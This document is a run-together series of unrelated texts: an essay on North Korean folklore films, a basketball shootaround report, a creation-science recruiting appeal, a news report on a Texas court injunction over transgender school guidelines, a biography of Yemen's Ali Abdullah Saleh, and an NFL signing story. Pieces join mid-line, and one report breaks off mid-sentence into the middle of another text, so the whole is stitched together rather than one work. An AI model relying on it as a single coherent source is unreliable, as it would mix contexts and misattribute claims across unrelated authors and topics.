Unfortunately for Han, this servile mutilation of the old tale did not help him – like Sô Man Il, he was purged soon after the book was published.
After 1967, even such aborted folklore in North Korean culture was discouraged. The omnipresent cult of Kim Il Sung pushed aside any themes which had no immediate relations to the Leader. Any narrations of the past were unavoidably connected to the anti-Japanese struggle of Kim Il Sung, so that a consumer of North Korean culture was left with an impression that life in Korea had begun with the Great Leader.
THE 1980s: REEMERGENCE OF FOLKLORE
The only inescapable lines in these new films and literary texts were the motifs of struggle of the heroes against the foreign invaders … as well as the idea of unification of the Korean people
In the 1980s, North Korean culture experienced a period of unheralded liberalization. One of the manifestations of this liberalization was a restoration of folklore and classic novels to their previous positions. Yet, unlike their predecessors, the rewritten classics in the 1950s-1960s, classic tales in North Korean culture of the 1980s underwent few ideological revisions. The only inescapable lines in these new films and literary texts were the motifs of struggle of the heroes against the foreign invaders, presumably the Japanese, as well as the idea of unification of the Korean people in the face of these foreign invaders. Typical for the historical works of socialist realism, these North Korean texts and films exaggerated the role of the masses. A protagonist, no matter how great a military genius he is, gets his victory only after he calls for mobilization of the common people.
Hong Gil-dong was the first North Korean action film, which employed martial arts of the Hong Kong style, with the characters flying in the air and jumping over the top of the trees due to meticulous practice and wise guidance of an old teacher. The role of the jumpy protagonist was played by a young handsome actor Ri Yông Ho, a returnee from Japan and a future sex symbol of North Korean cinematography. For Ri, this film was a debut.
Ri Yông Ho probably never knew that by his role Hong Gil-dong he had paid a special service to his compatriots in the Soviet Union, where the film was demonstrated. Attractive Asian faces were rare on Soviet screen, and hundreds of young Soviet Koreans met Ri Yông Ho’s Hong Gil-dong as a long-awaited role model; his cool hero won to them hearts of many Soviet girlfriends. Excited views of Korean mountain landscapes in Hong Gil-dong, bright national costumes, exotic ancient rituals, and the pretty faces of the actors made Soviet Koreans feel proud of their historical motherland; before that, Korea in their minds was associated exclusively with the poorly edited journal Korea and a weird cult of personality.
To the North Korean audience, Hong Gil-dong also provided important food for thought.
In 1986 North Korean cinematography was enriched, along with Hong Gil-dong, by another film based on classic novel: The Story of Ondal, a Korean version of Beauty and the Beast. This tale concerns the young beggar Ondal who by the twist of fate marries a beautiful princess and turns into a heroic Koguryo general under the benevolent influence of his devoted, educated wife.
The Story of Ondal enjoyed a degree of success. The film was filled with the touching motifs of Ondal’s care for his sick mother, his devotion to his homeland and scenes of romance and animated battles, which were rare treats for the North Korean audience of the 1980s. Yet, for all its excitement, The Story of Ondal was an ideologically convenient tale of social mobility, which teaches that proper education and devotion drives a person to the top of society. The story followed a safe pattern of presentation of Korea as a place of harmony where marriages between beggars and princesses occasionally occur and bring perfect social results. This idealistic presentation of the past was in accordance with the idealized presentation of Juche North Korea’s present, where a person allegedly occupies a place in society that is deserved due to his efforts and virtues.
By contrast, The Tale of Hong Gil-dong was an ideologically dubious story. The motif of the protagonist robbing the rich and protecting the poor allowed earlier North Korean critics to claim that Hong Gil-dong was an alleged “rebel against the feudal system” – a typical example of such an approach can be found in a book by Kim Ha Myông, The Classic Literature of Our Country, published in Pyongyang in 1959. However, the other messages of the tale contradict this conventional claim of North Korean propaganda, and the film based on the classic novel fully demonstrated this.
The very king himself claims that he is not able to help Hong because the inequality of different classes is the pillar of society
The central message of the film is that Hong Gil-dong belongs to the despised strata of Korean society, being the son of a noble man and a lower-class concubine. Unlike The Story of Ondal, in which the protagonist rises to the top due to his own efforts, neither Hong’s exemplary noble behavior, nor the interference of his noble father and half-brother, nor the personal exploits of Hong Gil-dong, such as his victory over the “black pirates” (Japanese ninja) were able to change his status and let him marry his sweetheart, the daughter of the minister. The very king himself claims that he is not able to help Hong because the inequality of different classes is the pillar of society, without which the kingdom would collapse.
Listening to this final verdict, the fearless hero withers. Instead of revolting against the king, he leaves the country in search for some happy, harmonious place where people are treated according to their own merits. The narrator makes it clear, however, that Hong Gil-dong’s chances to find such a place were low.
In North Korean society, based on the caste-like system of Sôngbun, which divided all people into reliable and unreliable classes, this message was rather sensitive. Too many North Koreans could associate themselves with the hero, who was smart, educated and noble and yet could move nowhere due to the fact that, for instance, they descended from landlords or their grandfather was a returnee from Japan.
Hong Gil-dong openly claimed this situation to be unjust. Yet, like many other films in the late 1980s-early 1990s, which touched dangerous social topics, it posed the question but did not provide any answers. The watchers would leave the theater, filled with beautiful music and a vision of the handsome hero who sales away from his country, from his father and loving half-brother, toward some unknown lands. The hero is sad. Yet, he is not alone in his boat, surrounded by his loving mother, his loyal girlfriend and his devoted battle comrades with their wives and girlfriends. All they have chosen to follow Hong Gil-dong on his way to the unknown.
This vision must surely serve as consolation to North Koreans who, like Hong Gil-dong, could rely on their families and friends in their constant war with the unfair world.
All images: Screenshots from Hong Gil-dongShootaround update: Bulls at Pelicans
By: Jim Eichenhofer, Pelicans.com, @Jim_Eichenhofer
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Updates from Saturday morning’s shootaround at the New Orleans Arena:
• In a recent rarity, there is no current injury news to report on the New Orleans side. Ryan Anderson, Jrue Holiday and Jason Smith remain out, but the other 11 players are available to play tonight vs. Chicago (23-22).
• Anthony Davis (left index finger) said after Friday’s practice that he will play against the Bulls. Davis participated fully in Saturday’s shootaround.
• Chicago’s injury report includes just one name, but it’s Derrick Rose. He’s expected to be out for the season with a right knee injury. The Bulls’ projected starters are New Orleans native D.J. Augustin, Jimmy Butler, Mike Dunleavy, Carlos Boozer and Joakim Noah.
• Pelicans sixth man Tyreke Evans is trying to bounce back from consecutive below-average shooting games, going a combined 5-for-20 on the road trip to Cleveland and Minnesota. “I’ve just got to be aggressive, just keep attacking,” Evans said. “In Cleveland, I was out of rhythm, not me. The Wolves game I was attacking but just couldn’t finish. In this game I’ve just got to keep doing that and (shots are) going to fall.”
• Evans on the Pelicans’ season so far: “Injuries have been a big factor, but that’s basketball. We’ve got three guys out, big-time guys that we need. It’s tough trying to go through this without those guys, but we’ve just got to keep focus and try to win games.”
• With New Orleans at full strength, Evans believes “the sky’s the limit. This is our first year. If everyone was healthy, we would’ve been right where we need to be. We’ve got to come back next year ready to play.”Wanted: Young Creation Scientists
ICR, together with the rest of the creation science movement, has made great strides in the last 40 years. In many areas, the superiority of the creation worldview has been clearly demonstrated. Even now, ICR is making exciting discoveries in the fields of biology and geology, and we have started new research initiatives in the field of astronomy. However, there is much work that still needs to be done, and this work is hindered by a lack of trained scientists.
Therefore, we appeal to any Bible-believing young person with an interest in science—have you considered cultivating that science interest for the glory of God?
Many young people choose careers for all the wrong reasons (e.g., maybe a college major is “easy” or they can earn a lot of money). Yet some choices in this area can have negative consequences later in life.What good is it to earn a large salary if your job is unfulfilling? Is it worth it to major in an easy field if you ultimately get a job that you dislike? Little wonder that so many adults are eager to retire from the workforce—they hate their jobs!
How much better to choose a career path that will bring ultimate fulfillment, a decision inspired by a God-given desire to work in a field that will bring glory to the Creator. Young Christian, if God has given you a desire to serve Him in a particular area, then consider His promptings. Maybe He is leading you to serve Him in the field of science. It may involve short-term sacrifice, but God’s best often requires hard work.
If you have an interest in science, then pursue it. An aptitude and a genuine love for science is a rare gift—maybe you can be the one to make a startling discovery or a life-changing advancement in the field. Maybe history will be different because of you. Perhaps you can be the one to finally break the evolutionary monopoly on our institutions of higher learning.
Of course, not everyone has an interest in science. God has given us all different gifts (1 Corinthians 12:4-7) and called us to different areas of service. But Christian young people might consider the challenge to seek God’s wisdom about their future, to consider His direction when they are making their career choices.
For those who do have an interest in science, we wish to offer a few words of advice. Work hard to get the best possible grades and push yourself to truly understand the material. When choosing a school, choose one with a rigorous academic program and a research program that truly interests you. Although you should not be dishonest about what you believe, it’s probably prudent to not draw attention to your creationist beliefs while you are a student, particularly if you are in a field that directly touches upon the origins controversy (such as paleontology, biology, or geology).
Given the increasing anti-Christian sentiment in society and the academic persecution in the secular universities, there may very well come a day when it will no longer be possible for a Bible-believing Christian to get an advanced degree in the natural sciences. Academically gifted young Christians should therefore “redeem the time” (Ephesians 5:16) before that door of opportunity closes.
* Dr. Hebert is Research Associate at the Institute for Creation Research and received his Ph.D. in Physics from the University of Texas at Dallas.
Cite this article: Hebert, J. 2012. Wanted: Young Creation Scientists. Acts & Facts. 41 (12): 6.*Editor's note: This story has been updated throughout
As millions of Texas children head back to school, a federal judge in Fort Worth has temporarily blocked Obama administration guidelines directing the nation’s public schools to allow transgender students to use bathrooms and other facilities that align with their gender identity.
In a 38-page order released Sunday, U.S. District Court Judge Reed O’Connor sided with Texas and 12 other states challenging the federal directive, saying the “status quo” should remain in place nationwide until the court rules on the case, or a federal appeals court provides further guidance. That is because the administration didn’t follow proper rule-making procedure in crafting the guidelines, O’Connor explained, noting, “The resolution of this difficult policy decision is not... the subject of this order.”
O'Connor, who former President George W. Bush nominated in 2007, did not issue a ruling from the bench this month after a hearing during which state attorneys argued the guidelines unconstitutionally “hold a gun to the head” of states and school districts and place students in danger.
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“This case presents the difficult issue of balancing the protection of students’ rights and that of personal privacy while using school bathrooms, locker rooms, showers, and other intimate facilities, while ensuring that no student is unnecessarily marginalized while attending school,” O’Connor wrote in his order. He added: “The sensitivity to this matter is heightened because Defendant’s actions apply to the youngest child attending school and continues every year throughout each child’s educational career."
Attorney General Ken Paxton cheered the decision, saying, “We are pleased that the court ruled against the Obama Administration’s latest illegal federal overreach.”
“This President is attempting to rewrite the laws enacted by the elected representatives of the people, and is threatening to take away federal funding from schools to force them to conform,” he said. “That cannot be allowed to continue."
O’Connor granted another temporary injunction to Texas last year that blocked a federal rule giving medical benefits to same-sex couples that the state had sued over.
Texas’ latest legal challenge stems from guidelines issued in early May by the Obama administration, which state that discrimination against transgender individuals violates federal nondiscrimination statutes, including the Title IX prohibition on discrimination based on sex at educational institutions that receive federal funding. Those protections, the administration said, extend to gender identity and give transgender students the right to use their preferred bathrooms in public school, requiring schools to treat a student’s gender identity as the student’s sex for purposes of Title IX compliance.
“ The sensitivity to this matter is heightened because Defendant’s actions apply to the youngest child attending school and continues every year throughout each child’s educational career. ” — U.S. District Court Judge Reed O’Connor of Fort Worth
At a hearing Aug. 12, the first in the case against the federal government, a member of the Texas attorney general’s team told O’Connor that the federal government "usurped" the authority of states and schools by requiring that “sexes must be mixed” in "intimate areas" like bathrooms.
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The federal government had argued that the transgender guidelines were meant to provide clarification on its interpretation of discrimination protections in light of "emerging issues" and that protections based on sex extended to gender identity because "gender is a sex-based characteristic."
Additionally, the Obama administration insisted that Texas and the other states had jumped the gun in filing the lawsuit because the federal government had not moved forward with any enforcement action.
In his order, O’Connor said the injunction should apply nationwide rather than just to schools in the court’s jurisdiction, as requested by lawyers for the federal government, noting that “states who do not want to be covered by this injunction can easily avoid doing so by state law.”
The injunction “therefore only applies to those states whose laws direct separation,” he said. “However, an injunction should not unnecessarily interfere with litigation currently pending before other federal courts on this subject regardless of the state law.”
His decision comes after the U.S. Supreme Court earlier this month temporarily blocked another order that would have allowed a transgender student to use the boys’ bathroom at a Virginia high school.
Advocates for the transgender student protections said Monday's ruling puts transgender students "at even greater risk of discrimination, harassment and discrimination."
“All students, regardless of their gender identity, deserve to be able to |
mar village[15] (Red House village)[16] from the Sanhan (سنحان) clan (Sanhan District), whose territories lie some 20 kilometres southeast of the capital, Sana'a. Saleh's father, Abdallah Saleh died when Saleh was still young and after he divorced with Ali Abdullah's mother.[14] His mother later remarried to her deceased former husband's brother, Muhammad Saleh, who soon became Saleh's mentor and stepfather.
Saleh's cousin, Ali Mohsen al-Ahmar from the Al Ahmar family, which is also part of Sanhan clan is often confused with the same-named leading family of the Hashid tribe, with which the Sanhan clan was ally.[15] The Hashid tribe, in turn, belongs to the larger Yemeni parent group, the Kahlan tribe. The clans Sanhan and Khawlan are said to be related.[15]
Rise to the presidency [ edit ]
Saleh received his primary education at Ma'alama village[14] before leaving to join the North Yemeni Armed Forces in 1958 at the age of 11 as an infantry soldier, and was admitted to the North Yemen Military Academy in 1960.[18] Three years later, in 1963, he was commissioned as a second lieutenant in the Armoured Corps.[18] He participated in the Nasserist-inspired Army Coup of 1962, which was instrumental in the removal of King Muhammad al-Badr and the establishment of the Yemen Arab Republic. During the North Yemen Civil War he served in the Tank Corps, attaining the rank of major by 1969. He received further training as a staff officer in the Higher Command and staff C Course in Iraq, between 1970 and 1971, and was promoted to lieutenant colonel. He became a full colonel in 1976 and was given command of a mechanised brigade. In 1977, the President of North Yemen, Ahmed bin Hussein al-Ghashmi, appointed him as military governor of Ta'izz.[15]
After al-Ghashmi was assassinated on 24 June 1978, Colonel Saleh was appointed to be a member of the four-man provisional presidency council and deputy to the general staff commander.[15][18] On 17 July 1978, Saleh was elected by the Parliament to be the President of the Yemen Arab Republic, while simultaneously holding the positions of chief of staff and commander-in-chief of the armed forces.[18]
Governance in the Middle East and North Africa: A Handbook describes Saleh as being neither from a "sheikhly family" nor a "large or important tribe", but instead rising to power through "his own means", and creating a patronage system with his family at the top.[19] His seven brothers were placed "in key positions", and later he relied on "sons, daughters, sons-in-law and nephews".[19] Beneath the positions occupied by his extended family, Saleh "relied heavily on the loyalty" of two tribes, his own Sanhan tribe and the Hamdan San'a tribe of his mentor, the late president Ahmad al-Ghashmi.[19] The New York Times Middle Eastern correspondent Robert F. Worth described Saleh as reaching an understanding with powerful feudal "big sheikhs" to become "part of a Mafia-style spoils system that substituted for governance".[20] Worth accused Saleh of exceeding the aggrandisement of other Middle Eastern strongmen by managing to "rake off tens of billions of dollars in public funds for himself and his family" despite the extreme poverty of his country.[21]
North Yemen Presidency [ edit ]
Saleh in 1988, as President of North Yemen
On 10 August 1978, Saleh ordered the execution of 30 officers who were charged with being part of a conspiracy against his rule.[15] Saleh was promoted to major general in 1980, elected as the secretary-general of the General People's Congress party on 30 August 1982, and re-elected president of the Yemen Arab Republic in 1983.[18]
In the late 1980s, Saleh was under considerable international pressure to permit his country's Jewish citizens to travel freely to places abroad. Passports were eventually issued to them, which facilitated their unrestricted travel.
Unified Yemen Presidency [ edit ]
The decline of the Soviet Union severely weakened the status of South Yemen, and, in 1990, the North and South agreed to unify after years of negotiations. The South accepted Saleh as President of the unified country, while Ali Salim al-Beidh served as the Vice President and a member of the Presidential Council.[22][23]
Ali Abdullah Saleh was a long-time ally of Iraq's Saddam Hussein and supported Hussein's invasion of Kuwait in 1990. After Iraq lost the Gulf War, Yemeni workers were deported from Kuwait by the restored government.[24]
In the 1993 parliamentary election, the first held after unification, Saleh's General People's Congress won 122 of 301 seats.[25]
Around 1994, jihadists from Ayman al-Zawahiri’s Islamic Jihad attempted to regroup in Yemen following a harsh crackdown in Egypt. In this, they were tacitly supported by the regime of Ali Abdullah Saleh, as he found them useful in his fight against southern separatists in the war of 1994.[26] After using Islamic militants to repress the separatists and keep the country under his rule, Saleh turned a blind eye to their activities, and allowed their sympathizers to work in his intelligence services.[27]
Military promotion [ edit ]
On 24 December 1997, Parliament approved Saleh's promotion to the rank of field marshal,[15][18] making him highest-ranking military officer in Yemen.[15]
He became Yemen's first directly-elected president in the 1999 presidential election, winning 96.2% of the vote.[25]:310 The only other candidate, Najeeb Qahtan Al-Sha'abi, was the son of Qahtan Muhammad al-Shaabi, a former president of South Yemen. Though a member of Saleh's General People's Congress (GPC) party, Najeeb ran as an independent.[28]
1999 election [ edit ]
Vice President Dick Cheney and President Ali Abdullah Saleh discuss joint efforts to fight terrorist activity at a press conference in Sana'a, Yemen, 14 March 2002
After the 1999 elections the Parliament passed a law extending presidential terms from five to seven years, extending parliamentary terms from four to six years, and creating a 111-member, presidentially-appointed council of advisors with legislative power.[18] This move prompted Freedom House to downgrade their rating of political freedom in Yemen from 5 to 6.[29]
2006 election [ edit ]
In July 2005, during the 27th anniversary celebrations of his presidency, Saleh announced that he would "not contest the [presidential] elections" in September 2006. He expressed hope that "all political parties – including the opposition and the General People's Congress – find young leaders to compete in the elections, because we have to train ourselves in the practice of peaceful succession."[30] However, in June 2006, Saleh changed his mind and accepted his party's nomination as the presidential candidate of the GPC, saying that when he initially decided not to contest the elections his aim was "to establish ground for a peaceful transfer of power", and that he was now, however, bowing to the "popular pressure and appeals of the Yemeni people." Political analyst Ali Saif Hasan said that he had been "sure [President Saleh] would run as a presidential candidate. His announcement in July 2005 – that he would not run – was exceptional and unusual." Mohammed al-Rubai, head of the opposition supreme council, said the president's decision "show[ed] that the president wasn't serious in his earlier decision. I wish he hadn't initially announced that he would step down. There was no need for such farce."[28]
In the 2006 presidential election, held on 20 September, Saleh won with 77.2% of the vote. His main rival, Faisal bin Shamlan, received 21.8%.[18][31] Saleh was sworn in for another term on 27 September.[32]
In December 2005, Saleh stated in a nationally televised broadcast that only his personal intervention had preempted a U.S. occupation of the southern port of Aden after the 2000 USS Cole bombing, stating "By chance, I happened to be down there. If I hadn't been, Aden would have been occupied as there were eight U.S. warships at the entrance to the port."[33] However, transcripts from the U.S. Senate Armed Services Committee state that no other warships were in the vicinity at the time.[34]
Colluding with terrorists [ edit ]
After 9/11, Saleh sided with America in the War on Terror. Following mysterious “escape” of Al Qaeda convicts in Yemeni custody; Saleh would demand more American money and support in order to catch the fugitive. Sometimes, having received what he needed, he would decide to pardon them, further infuriating the United States. Saleh knew he was an indispensable partner so the aid continued.[27]
In an investigative documentary allegations were made that Saleh’s government supported and directly helped Al Qaeda in the Arabian Peninsula (AQAP).[35]
An informant for the National Security Bureau (NSB) and Political Security Organization (PSO) made these allegations.
Hani Muhammad Mujahid, 38, told Al Jazeera that “many Al-Qaeda leaders were under the complete control of Ali Abdullah Saleh,” “Ali Abdullah Saleh turned Al-Qaeda into an organized criminal gang. He was not only playing with the West. He was playing with the entire world.”
Richard Barrett, who was with Britain’s MI6 intelligence agency before becoming director of the Al-Qaeda Monitoring Team for the UN, described Mujahid’s story of his background in Afghanistan, his return to Yemen and his involvement with AQAP as “credible”. The attack on the U.S. Embassy in 2008 was funded by Saleh’s nephew and Al Qaeda leaders had close relationships with him. The informant also gave critical intelligence on terrorist movement, attacks and leaders but no action was taken.
Ousted from the presidency [ edit ]
Protests [ edit ]
President Ali Abdullah Saleh and his son Ahmed, 1984
In early 2011, following the Tunisian revolution which resulted in the overthrow of the long-time Tunisian president, Zine El Abidine Ben Ali, opposition parties attempted to do the same in Yemen. Opposition elements started leading protests and demanding that Saleh end his three-decade-long rule because of the perceived lack of democratic reform, widespread corruption and human rights abuses carried out by him and his allies.[36] His net worth was estimated to be between 32 and 64 billion dollars with his money spread across multiple accounts in Europe and abroad.[37]
On 2 February 2011, facing a major national uprising, Saleh announced that he would not seek re-election in 2013, but would serve out the remainder of his term.[38] In response to government violence against protesters, eleven MPs of Saleh's party resigned on 23 February.[39] By 5 March, this number had increased to 13, as well as the addition of two deputy ministers.[40]
On 10 March 2011, Saleh announced a referendum on a new constitution, separating the executive and legislative powers.[41] On 18 March, at least 52 people were killed and over 200 injured by government forces when unarmed demonstrators were fired upon in the university square in Sana'a. The president claimed that his security forces weren't at the location, and blamed local residents for the massacre.[42]
On 7 April 2011, a U.S. state department cable obtained by WikiLeaks reported the plans of Hamid al-Ahmar, the Islah Party leader, prominent businessman, and de facto leader of Yemen's largest tribal confederation, claiming that he would organize popular demonstrations throughout Yemen aimed at removing President Saleh from power.[43]
On 23 April 2011, facing massive nationwide protests, Saleh agreed to step down under a 30-day transition plan in which he would receive immunity from criminal prosecution.[44][45] He stated that he planned to hand power over to his Vice President, Abdrabbuh Mansur Hadi as part of the deal.[46]
On 18 May 2011, he agreed to sign a deal with opposition groups, stipulating that he would resign within a month;[47] On 23 May, Saleh refused to sign the agreement, leading to renewed protests and the withdrawal of the Gulf Cooperation Council from mediation efforts in Yemen.[48]
Assassination attempt and resignation [ edit ]
On 3 June 2011, Saleh was injured in a bomb attack on his presidential compound. Multiple C-4 (explosive) charges were planted inside the mosque and one exploded when the president and major members of his government were praying.[23] The explosion killed four bodyguards and injured the prime minister, deputy prime ministers, head of the Parliament, governor of Sanaa and many more.[34] The man responsible for speaking at Saleh's public events was reported killed.[49] Saleh suffered burns and shrapnel injuries, but survived, a result that was confirmed by an audio message he sent to state media in which he condemned the attack, but his voice clearly revealed that he was having difficulty in speaking.[49][34] Government officials tried to downplay the attack by saying he was lightly wounded. The next day he was taken to a military hospital in Saudi Arabia for treatment.[49] According to U.S. government officials, Saleh suffered a collapsed lung and burns on about 40 percent of his body.[50] A Saudi official said that Saleh had undergone two operations: one to remove the shrapnel and a neurosurgery on his neck.[51]
On 4 June 2011, Vice President Abdrabbuh Mansur Hadi was appointed as acting President, while Saleh remained the President of Yemen.[52]
On 7 July 2011, Saleh appeared for his first live television appearance since his injury. He appeared badly burned and his arms were both bandaged. In his speech, he welcomed power-sharing but stressed it should be "within the framework of the constitution and in the framework of the law".[53] On 19 September 2011, he was pictured without bandages, meeting King Abdullah.[54]
On 23 September 2011, Yemeni state-television announced that Saleh had returned to the country after three months amid increasing turmoil in a week that saw increased gun battles on the streets of Sana'a and more than 100 deaths.[55]
Saleh said on 8 October 2011, in comments broadcast on Yemeni state television, that he would step down "in the coming days". The opposition expressed skepticism, however, and a government minister said Saleh meant that he would leave power under the framework of a Gulf Cooperation Council initiative to transition toward democracy.[56]
On 23 November 2011, Saleh flew to Riyadh in neighbouring Saudi Arabia to sign the Gulf Co-operation Council plan for political transition, which he had previously spurned. Upon signing the document, he agreed to legally transfer the office and powers of the presidency to his deputy, Vice President Abdrabbuh Mansur Hadi.[23] The agreement also led to the formation of a government divided by Saleh's political party (GPC) and the JMP.[57]
It was reported that Saleh had left Yemen on 22 January 2012 for medical treatment in New York City.[58] He arrived in the United States six days later.[59] After Saleh returned to Yemen following medical treatment, he arrived at the military airport in Sana'a hours before the oath-taking of his successor Abdrabbuh Mansur Hadi which resulted in protests against his return and the inability of the new government to prevent his entry into Yemen.[34] On 27 February 2012, Saleh formally ceded power to his deputy Abdrabbuh Mansur Hadi and stepped down as the President of Yemen, pledging to support efforts to "rebuild" the country still reeling from months of violence.[3]
In February 2013, Saleh opened a museum documenting his 33 years in power, located in a wing of the Al-Saleh Mosque in Sanaa.[34] One of the museum's central display cases exhibits a pair of burnt trousers that Saleh was wearing at the time of his assassination attempt in June 2011.[23] Other displays include fragments of shrapnel that were taken out of his body during his hospital treatment in Saudi Arabia, as well as various gifts given to Saleh by kings, presidents and world leaders over the course of his rule.[60]
Later that year, in October, the United Nations Special Envoy to Yemen, Jamal Benomar said that Saleh and his son have the right to run in the next Yemeni presidential election, as the 2011 deal does not cover political incapacitation.[61]
Saleh was a behind-the-scenes leader of the Houthi takeover in Yemen led by Zaydi Houthi forces. Tribesmen and government forces loyal to Saleh joined the Houthis in their march to power.[62] On 28 July 2016, Saleh and the Houthi rebels announced a formal alliance to fight the Saudi-led military coalition, to be run by a political council of 10 members – made up of five members from Saleh's General People's Congress, and five from the Houthis.[63]
The United Nations Security Council imposed sanctions on Saleh in 2014, accusing him of threatening peace and obstructing Yemen's political process, subjecting him to a global travel ban and an asset freeze.[64]
Death [ edit ]
Houthi spokesperson Mohamed Abdel Salam stated that his group had spotted messages between the United Arab Emirates (UAE) and Saleh three months before his death. He told Al-Jazeera that there was communication between Saleh, UAE and a number of other countries such as Russia and Jordan through encrypted messages.[65] The alliance between Saleh and the Houthi broke down in late 2017,[66] with armed clashes occurring in Sana'a from 28 November.[67] Saleh declared the split in a televised statement on 2 December, calling on his supporters to take back the country[68] and expressed openness to a dialogue with the Saudi-led coalition.[66]
On 4 December 2017, Saleh's house in Sana'a was assaulted by fighters of the Houthi movement, according to residents.[69] Saleh was killed on his way to Ma'rib while trying to flee into Saudi-controlled territories after a rocket-propelled grenade struck and disabled his vehicle in an ambush and he was subsequently shot in the head by a Houthi sniper, something his party denied.[70][71] Houthis published a video allegedly depicting Saleh's body with a headshot wound.[72][73] His death was confirmed by a senior aide to Saleh, and also by Saleh's nephew.[34][23] His death has been described as an embarrassment in a long list of Saudi foreign policy failures under Mohammad bin Salman.[74] The attack also resulted in the death of General People's Congress' assistant secretary Yasser al-Awadi.[75]
Saleh's home was captured by Houthis before he fled. Officials of his party General People's Congress while confirming his death, stated that a convoy he and other party officials were travelling in was attacked by Houthis as they fled towards his hometown Sanhan. Houthi leader Abdul Malik al-Houthi meanwhile celebrated his death and called it "the day of the fall of the treasonous conspiracy". He also stated that his group had "no problem" with the GPC or its members. Abdrabbuh Mansur Hadi offered condolences for his death and called for an uprising against the Houthis.[76] The Houthis accused the UAE of dragging Saleh to "this humiliating fate."[77]
On 9 December 2017 he was buried in Sana'a, according to an official.[78] According to a Houthi commander, the burial was held in strict conditions with no more than 20 people attending.[79]
Honours [ edit ]
National honours [ edit ]
Yemen: Grand Master Grand Cross with Collar of the Order of Unification[80]
Foreign honours [ edit ]
Wealth [ edit ]
The UN Sanctions Panel said that, by 2012 Saleh had amassed a fortune worth $32–60 billion hidden in at least twenty countries, making him one of the richest people in the world. Saleh was gaining $2 billion a year from 1978 to 2012, mainly through illegal methods, such as embezzlement, extortion and theft of funds from Yemen's fuel subsidy program.[81][82][83]
See also [ edit ]
Bibliography [ edit ]
Notes [ edit ]
^ Downing, Terry Reese (1 November 2009). "Martyrs in Paradise". AuthorHouse – via Google Books.. However, by Saleh's own confession, he was born in 1947. There is a dispute as to Saleh's date of birth, some saying that it was on 21 March 1942. See:. However, by Saleh's own confession, he was born in 1947.One year after they were featured on HBO's "Hard Knocks," the Cincinnati Bengals have scripted their own reality show.
T.O. and Ocho. Two self-conscious stars, one NFL team.
How will they fit? How will it work? Which wide receiver will provide most of the drama? And, more importantly, will any of it help the Bengals return to the playoffs?
The Bengals reached a one-year contract agreement with Terrell Owens on Tuesday, a team source told NFL Network insider Michael Lombardi, and the veteran receiver is expected to report to training camp in a day or two.
NFL Network insider Jason La Canfora confirmed that Owens will be paid $2 million in base salary and could earn an additional $2 million in incentives. Owens' agent, Drew Rosenhaus, called the incentives "very reachable" and indicated that they are consistent with Owens' production in Buffalo, where he made $6.5 million last season.
Rosenhaus pointed out on NFL Network's "NFL Total Access" that the receiver hasn't signed anything yet, although he admitted it "looks like a formality at this point." Rosenhaus expects the deal to be finalized Wednesday night or Thursday morning.
On his Twitter account, all Owens would say was, "Hoping 2 b a Bengal w/in the 24hrs!!" He later said: "Ocho Uno is coming 2 town!! Hey Robin, Batman will b there soon!"
Players are required to report for the start of Bengals training camp Wednesday in Georgetown, Ky. According to The Cincinnati Enquirer, Owens isn't expected to attend the morning practice Thursday, but he likely will show up for the night session.
Rosenhaus said the Bengals were Owens' first choice, giving him a chance to team with close friend Chad Ochocinco, who already has dubbed the pair Batman and Robin. The Bengals made an offer Monday, and Owens accepted it one day later, after the St. Louis Rams dropped out of the running.
"The Bengals have always been the front-runner," Rosenhaus told The Associated Press. "Even though I talked to some other teams during this process, the Bengals have always been the team that showed the most interest. Terrell has always been excited about them."
The Bengals gave Owens a tryout in March, but they decided to sign Antonio Bryant to a four-year, $28 million contract instead. Although he said on NFL Network that he doesn't have "direct knowledge" of the situation, Rosenhaus believes Bryant's health status played a role in the Bengals chasing Owens.
Bryant has been slowed by knee surgery, and NFL.com's Steve Wyche, citing a source with knowledge of the situation, reported Tuesday that some within the Bengals' organization already feel a semblance of buyer's remorse.
Coach Marvin Lewis denied last week that the Bengals needed Owens, telling the team's official Web site, "I don't want to speak (about Terrell). We've been down that road. I don't have a concern that we need to add anybody (at receiver)." But Lewis changed his tune this week.
"I think really we're adding a player who has been extremely productive throughout his career and really compliments the guys that we have offensively already," Lewis said Tuesday on NFL Network. "But really, when Terrell didn't sign, obviously they still had the interest and the attraction. I'm glad it was able to work out. It makes for the greater good of the football team."
Already, it's like something out of a reality show.
Ochocinco gushed about the matchup on his Twitter feed, welcoming Owens to Cincinnati and joking that "all of our games have been moved to pay-per-view, you got to pay to see this."
Both of the look-at-me receivers are accustomed to cable.
By adding Owens, the Bengals will lead the NFL in reality TV stars. Ochocinco competed on "Dancing With the Stars" during the offseason and has a dating show called "Ochocinco: The Ultimate Catch" currently running on VH1. After Ochocinco's show comes "The T.O. Show."
Ochocinco's last show involved eliminating two contestants. Owens' last program had him walking down a runway as part of a fashion show in metrosexual attire -- bare chest under an open jacket with a huge necklace and a wig.
In a couple of days, it will be the dancer-and-dater on one side of the field, the metrosexual model on the other.
In the middle will be quarterback Carson Palmer, who helped bring Owens to Cincinnati. Palmer worked out with Owens in California and called Lewis, saying the Bengals ought to try to sign the receiver.
"He and Chad are going to do some great things with Carson," Rosenhaus told The AP. "Carson Palmer had a lot to do with this deal coming together."
Bengals president Mike Brown went along with it, even though he knew Owens also brings a lot of baggage. The outspoken receiver has a history of undercutting his quarterbacks, though he was on good behavior last season in Buffalo.
Brown doesn't mind. He has a history of providing extra chances to players who have caused trouble, allowing them to extend their careers in Bengals stripes. In the last two years, the Bengals also have signed wide receivers Chris Henry and Matt Jones and running backs Cedric Benson and Larry Johnson, all of whom were let go by Cincinnati or other teams because of off-the-field issues.
"Yes, people can make mistakes," Brown said at the Bengals' preseason luncheon Monday. "It doesn't mean that they go on the rest of their lives making mistakes. They can get their ship pointed in the right direction. This is a 36-year-old man. He's been through a lot. He's proven as a player and as a person."
The question is how much Owens has left.
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Owens caught 55 passes for 829 yards and five touchdowns with the Bills last season, his least-productive full season since early in his career with the San Francisco 49ers. The Bengals are trying to upgrade a passing game that was one of the NFL's worst last season, ranking 26th.
The Bengals won the AFC North by relying on defense and their running game. They released wide receiver Laveranues Coles after his only season in Cincinnati and went looking for a replacement. They found him in Bryant, then also turned to Owens.
The Bengals could move Bryant to an inside slot position, which they have struggled to fill since T.J. Houshmandzadeh left for the Seattle Seahawks as a free agent. The Bengals also could alternate the two receivers at an outside spot opposite Ochocinco, who was regularly double-teamed by defenders last season.
"I think the personalities of a professional football team, they have a way of coming together when they get united doing one thing -- and that's winning football games," Lewis said. "That's the challenge. That's what I've spoken to all of them about. I can't tell you on which day who is going to get a chance to do what, but that your time is coming. Be ready. Be prepared. Come on every day and strap up and let's go to work. Your day will come.
